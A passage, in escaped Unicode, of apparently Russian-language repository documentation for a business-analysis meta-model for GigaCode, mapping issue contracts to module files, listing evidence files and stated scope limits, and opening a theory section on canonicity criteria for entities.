[ADR-013](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-run-modes-deprecation.md), [`20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/20-taxonomy.md) \u00a76 |\\n| 2. \u0421\u0438\u043d\u0442\u0435\u0437 \u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0439 | [`20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/20-taxonomy.md) \u00a72\u2013\u00a75, [`standards/product-taxonomy-reference.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/standards/product-taxonomy-reference.md) |\\n| 3. \u0412\u0438\u0437\u0443\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 | [`40-practice-and-cases.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md) \u00a72\u2013\u00a73 |\\n| 4. \u0421\u043e\u0441\u0442\u0430\u0432 Execution Package \u0434\u043b\u044f GigaCode | [`30-decision-framework.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md) \u00a72\u2013\u00a75 |\\n| 5. \u0410\u0432\u0442\u043e\u043d\u043e\u043c\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f: \u0432\u044b\u0431\u043e\u0440 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0438 \u0438\u0445 \u0434\u043e\u043c\u0430 | [`50-open-research.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/50-open-research.md) \u00a72 |\\n| \u041f\u043b\u0430\u043d \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0440\u0435\u0437\u0430 \u0438 \u0441\u0431\u043e\u0440\u0430 \u044d\u043c\u043f\u0438\u0440\u0438\u043a\u0438 | [`40-practice-and-cases.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md) \u00a74\u2013\u00a75 |\\n| \u0417\u0430\u0449\u0438\u0442\u0430 \u043d\u043e\u0432\u043e\u0439 \u043d\u043e\u0440\u043c\u044b \u043e\u0442 \u0434\u0438\u043a\u0442\u0430\u0442\u0430 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u044f ([\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u0444\u0430\u0443\u043d\u0434\u0435\u0440\u0430 \u043a PR #564](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/564)) | [ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md), \u00a76.1 [`20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/20-taxonomy.md), \u00a77 [`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md), `EP-C6`/`SK-7` [`30-decision-framework.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md) |\\n| \u041d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e \u0438 \u0432\u043e\u043f\u0440\u043e\u0441\u044b | [`50-open-research.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/50-open-research.md) \u00a74 |\\n\\n\u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b [issue #571](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/571)\\n\u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u0435\u0440\u0441\u0438\u0435\u0439 0.2 \u0438 \u0434\u0432\u0443\u043c\u044f \u043d\u043e\u0432\u044b\u043c\u0438 \u043c\u043e\u0434\u0443\u043b\u044f\u043c\u0438.\\n\\n| \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 issue #571 | \u0413\u0434\u0435 \u0437\u0430\u043a\u0440\u044b\u0442 |\\n| --- | --- |\\n| \u0413\u043b\u0443\u0431\u043e\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 | [`2026-09-10-process-taxonomy-defects-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-process-taxonomy-defects-facts.md) |\\n| \u0418\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0431\u0430\u0437\u0438\u0441 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u0434\u0435\u043b\u044c\u0442\u0430 \u041a\u041a \u041c\u0430\u043d\u0433\u043e | [`process-taxonomy/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model/process-taxonomy) |\\n| \u0413\u0440\u0430\u043d\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438 \u0441\u0432\u044f\u0437\u044c \u0441 \u043d\u0430\u0432\u044b\u043a\u0430\u043c\u0438 | [`operation-taxonomy/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy) |\\n| \u041e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u044b\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 (`A-CORE`, `A-TZ`, `A-BCREQ`, `A-REP`, `A-TRACE`) | [`20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/20-taxonomy.md) \u00a72 |\\n| \u0421\u0443\u0449\u043d\u043e\u0441\u0442\u0438 `\u0421\u0438\u0441\u0442\u0435\u043c\u0430`, `\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c`, `\u0410\u043a\u0442\u043e\u0440`, \u043d\u0430\u0432\u044b\u043a \u043a\u0430\u043a \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441 | [`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md) \u00a72, \u00a74 |\\n| \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u043a\u0430\u043a \u0433\u0440\u0430\u0444 \u0441 \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u043f\u043e \u0433\u0435\u0439\u0442\u0430\u043c | [`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md) \u00a76, [`30-decision-framework.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md) \u00a76.1 |\\n| \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0432 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430 | [`20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/20-taxonomy.md) \u00a77, `GT-5` |\\n| \u0421\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043a\u0435\u0439\u0441\u044b \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u044b | [`exp/ba-process-taxonomy-571/2026-09-10-synthetic-cases.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-process-taxonomy-571/2026-09-10-synthetic-cases.md) |\\n| \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043e \u043f\u0435\u0440\u0435\u0441\u0431\u043e\u0440\u043a\u0435 | [ADR-015](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-015-process-operation-taxonomy-rebuild.md) |\\n\\n\u0417\u0430\u0434\u0430\u0447\u0430 [issue #587](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/587)\\n\u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432\u0435\u0440\u0441\u0438\u0435\u0439 0.4 \u2014 \u043d\u0435 \u043f\u0435\u0440\u0435\u0441\u0431\u043e\u0440\u043a\u043e\u0439 \u043c\u043e\u0434\u0443\u043b\u044f, \u0430 \u0442\u043e\u0447\u0435\u0447\u043d\u043e\u0439 \u0434\u043e\u0441\u0442\u0440\u043e\u0439\u043a\u043e\u0439 \u043f\u043e\\n\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0443 \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438. \u041f\u043e\u0440\u043e\u0433 \u043f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u043a\u0438 (\u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0431\u043e\u043b\u0435\u0435 80%\\n\u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0430) \u043d\u0435 \u0434\u043e\u0441\u0442\u0438\u0433\u043d\u0443\u0442: \u0430\u0443\u0434\u0438\u0442 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b \u0442\u0440\u0438 \u0434\u0435\u0444\u0435\u043a\u0442\u0430 \u0438 \u0441\u0435\u043c\u044c\\n\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u0438\u0439, \u0430 \u0444\u043e\u0440\u043c\u044b \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u044b \u0431\u0435\u0437\\n\u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0439.\\n\\n| \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 issue #587 | \u0413\u0434\u0435 \u0437\u0430\u043a\u0440\u044b\u0442 |\\n| --- | --- |\\n| \u0421\u043a\u0432\u043e\u0437\u043d\u0430\u044f \u0441\u0432\u0435\u0440\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u0441 \u0434\u0435\u0441\u044f\u0442\u044c\u044e \u043c\u043e\u0434\u0443\u043b\u044f\u043c\u0438 `research/ai-education` | [`50-open-research.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/50-open-research.md) \u00a77 |\\n| \u041d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0439 \u0430\u0443\u0434\u0438\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u0447\u0438 #577 \u043f\u043e \u043f\u0443\u043d\u043a\u0442\u0430\u043c | [`docs/audit/2026-09-15-ba-meta-model-cross-check-audit.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/audit/2026-09-15-ba-meta-model-cross-check-audit.md) |\\n| \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432 (\u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043a \u0431\u0430\u0437\u0435 \u0437\u043d\u0430\u043d\u0438\u0439) | [`20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/20-taxonomy.md) \u00a77.1, `SR-1`\u2026`SR-6` |\\n| \u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430 `G-human` \u0432 \u0434\u0438\u0430\u043b\u043e\u0433\u043e\u0432\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 | [`40-practice-and-cases.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md) \u00a75 |\\n| \u042d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u043d\u0430 \u0441\u044b\u0440\u044b\u0445 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u0445, \u0431\u0435\u0437 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 | [`exp/ba-meta-model-cross-check-587/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ba-requirements/exp/ba-meta-model-cross-check-587) |\\n| \u0422\u0440\u0438 \u0444\u043e\u0440\u043c\u044b BCREQ: \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430, \u0434\u043e\u0433\u043e\u0432\u043e\u0440 | [`40-practice-and-cases.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md) \u00a71, \u043f\u0440\u0430\u0432\u0438\u043b\u043e 5 |\\n\\n## \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430\\n\\n- [`2026-09-08-meta-model-inputs-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md)\\n  \u2014 \u0434\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u0430\u043c\u0435\u0440 \u0432\u0445\u043e\u0434\u043e\u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0435 `8cbf82a`: \u0440\u0435\u0436\u0438\u043c\u044b,\\n  \u0434\u0443\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439, \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u0435\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432,\\n  \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432.\\n- [`2026-09-09-legacy-normative-influence-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md)\\n  \u2014 \u0437\u0430\u043c\u0435\u0440 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0432 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u043c\\n  \u043a\u043e\u0440\u043f\u0443\u0441\u0435 \u0438 \u0441\u043f\u043b\u043e\u0448\u043d\u043e\u0439 \u0430\u0443\u0434\u0438\u0442 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0431\u043b\u043e\u043a\u043e\u0432 \u043c\u043e\u0434\u0443\u043b\u044f; \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435\\n  ADR-014.\\n- [`exp/ba-meta-model-563/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ba-requirements/exp/ba-meta-model-563)\\n  \u2014 \u0434\u0432\u0430 \u0438\u0437\u043c\u0435\u0440\u0438\u0442\u0435\u043b\u044f, \u0441\u044b\u0440\u044b\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0438 \u043b\u043e\u0433\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432.\\n- [`2026-09-08-artifact-structure-variance-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-artifact-structure-variance-facts.md)\\n  \u2014 \u0437\u0430\u043c\u0435\u0440 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 (issue #561), \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u043b\u044f \u0441\u043b\u043e\u044f\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438.\\n- [`exp/ba-meta-model-cross-check-587/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ba-requirements/exp/ba-meta-model-cross-check-587)\\n  \u2014 \u0442\u0440\u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u0437\u0430\u043c\u0435\u0440\u0430 \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438: \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u043a\u0435\u043b\u0435\u0442\u0430 \u043d\u0430\\n  \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 (`M-1 = 0.0`), \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u043d\u0430 \u0441\u044b\u0440\u044b\u0445 \u0432\u0445\u043e\u0434\u0430\u0445\\n  \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447 \u0438 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u043d\u043e\u0432\u043e\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 \u0441 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u043c.\\n- [`2026-09-07-ecosystem-knowledge-inventory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-07-ecosystem-knowledge-inventory.md)\\n  \u2014 \u0438\u043d\u0432\u0435\u043d\u0442\u0430\u0440\u0438\u0437\u0430\u0446\u0438\u044f 368 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043a\u0430\u0440\u0442\u044b \u0434\u0443\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0439.\\n\\n## \u0427\u0435\u0433\u043e \u0432 \u043c\u043e\u0434\u0443\u043b\u0435 \u043d\u0435\u0442\\n\\n- **\u041d\u0435\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u0430\u043a\u0435\u0442\u0430.** \u041c\u043e\u0434\u0443\u043b\u044c \u0437\u0430\u0434\u0430\u0451\u0442 \u0441\u043e\u0441\u0442\u0430\u0432 \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b Execution\\n  Package, \u043d\u043e \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0435\u0433\u043e \u0444\u0430\u0439\u043b\u044b: \u0438\u0445 \u0434\u043e\u043c \u2014 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0449\u0430\u044f \u0441\u0440\u0435\u0434\u0430, \u0430 \u043d\u0435\\n  \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u043c\u043e\u0434\u0443\u043b\u044c Source\\n  ([`50-open-research.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/50-open-research.md), \u00a72).\\n- **\u041d\u0435\u0442 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u043d\u0438\u044f \u043c\u043e\u0434\u0443\u043b\u0435\u0439 `M0`\u2013`M4` \u0438 \u043e\u0431\u0435\u0438\u0445 \u043e\u0441\u0435\u0439.** \u0420\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f\\n  \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043a\u0430\u043a \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439\\n  ([`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md), \u00a75)\\n  \u0438 \u0432\u044b\u043d\u0435\u0441\u0435\u043d\u044b \u0432 \u0431\u044d\u043a\u043b\u043e\u0433, \u0430 \u043d\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u043f\u0440\u0430\u0432\u043a\u043e\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0442\u0435\u043a\u0441\u0442\u043e\u0432.\\n- **\u041d\u0435\u0442 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430.** \u0414\u043e\u043c\u0435\u043d\u044b, capability \u0438 features \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432\\n  \u0441\u043f\u043e\u043a\u0435; Source \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u0444\u043e\u0440\u043c\u043e\u0439 \u0443\u0440\u043e\u0432\u043d\u0435\u0439.\\n- **\u041d\u0435\u0442 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u0439 \u043d\u043e\u0440\u043c\u044b.** \u041c\u043e\u0434\u0443\u043b\u044c \u2014 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435. \u041f\u0435\u0440\u0435\u0445\u043e\u0434 \u0432 \u043d\u043e\u0440\u043c\u0443 \u0438\u0434\u0451\u0442\\n  \u0437\u0430\u0434\u0430\u0447\u0430\u043c\u0438 `B-146`\u2026`B-152` \u0438 `B-155`\u2026`B-161`.\\n- **\u041d\u0435\u0442 \u0437\u0430\u044f\u0432\u043a\u0438 \u043d\u0430 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c.** \u041c\u043e\u0434\u0443\u043b\u044c \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u0411\u0410-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432\\n  \u041a\u041a \u041c\u0430\u043d\u0433\u043e \u0432 GigaCode. \u041f\u0435\u0440\u0435\u043d\u043e\u0441 \u0434\u043e\u043c\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0432 `projects/` \u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435\\n  \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u2014 \u0437\u0430\u0434\u0430\u0447\u0438 \u0434\u043e\u0440\u043e\u0436\u043d\u043e\u0439 \u043a\u0430\u0440\u0442\u044b `B-155` \u0438 `B-156`, \u0430 \u043d\u0435\\n  \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u044d\u0442\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438.\\n# \u0422\u0435\u043e\u0440\u0438\u044f: \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 \u0438 \u0437\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\\n\\n## 1. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u043d\u043e\u0441\u0442\u0438\\n\\n\u0421\u0443\u0449\u043d\u043e\u0441\u0442\u044c \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439, \u0435\u0441\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0442\u0440\u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u044f.\\n\\n| \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 | \u0424\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430 | \u041f\u043e\u0447\u0435\u043c\u0443 |\\n| --- | --- | --- |\\n| `K-1` \u0420\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0449\u0430\u044f \u0441\u0438\u043b\u0430 | \u0423\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438 \u0434\u0435\u043b\u0430\u0435\u0442 \u0434\u0432\u0435 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0438 \u043d\u0435\u0440\u0430\u0437\u043b\u0438\u0447\u0438\u043c\u044b\u043c\u0438. | \u0418\u043d\u0430\u0447\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c \u2014 \u0441\u0438\u043d\u043e\u043d\u0438\u043c. |\\n| `K-2` \u041d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0441\u0442\u044c | \u042d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u0435\u0434\u044a\u044f\u0432\u0438\u0442\u044c \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 \u0438\u043b\u0438 \u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0449\u0435\u0439 \u0441\u0440\u0435\u0434\u0435. | \u0418\u043d\u0430\u0447\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c 